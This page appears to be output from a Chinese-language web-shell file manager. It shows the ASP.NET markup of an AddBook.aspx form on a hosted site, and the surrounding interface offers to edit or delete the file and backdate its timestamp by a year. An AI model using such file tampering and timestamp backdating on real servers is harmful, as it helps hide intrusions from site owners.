文件操作 - AddBook.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\alex.kimbly.in\wwwroot\AddBook.aspx
编辑文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="AddBook.aspx.cs" Inherits="AddBook" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <style type="text/css"> .auto-style1 { width: 100%; } </style> </head> <body> <form id="form1" runat="server"> <div> Add Book<br /> <br /> <table class="auto-style1"> <tr> <td>Name</td> <td> <asp:TextBox ID="txtName" runat="server" Height="22px" Width="363px"></asp:TextBox> </td> </tr> <tr> <td>Description</td> <td> <asp:TextBox ID="txtDesc" runat="server" Height="21px" Width="361px"></asp:TextBox> </td> </tr> <tr> <td>Category</td> <td> <asp:DropDownList ID="DDLCategory" runat="server" Height="25px" Width="250px" DataSourceID="SqlDataSource1" DataTextField="Name" DataValueField="ID"> </asp:DropDownList> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:AlexLibraryConnectionString %>" SelectCommand="SELECT [ID], [Name] FROM [Category] ORDER BY [ID]"></asp:SqlDataSource> </td> </tr> <tr> <td>Image</td> <td> <asp:FileUpload ID="FileUpload1" runat="server" Visible="False" /> </td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td> <asp:Button ID="Button1" runat="server" Text="Add" Height="31px" OnClick="Button1_Click" Width="131px" /> </td> </tr> </table> </div> </form> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件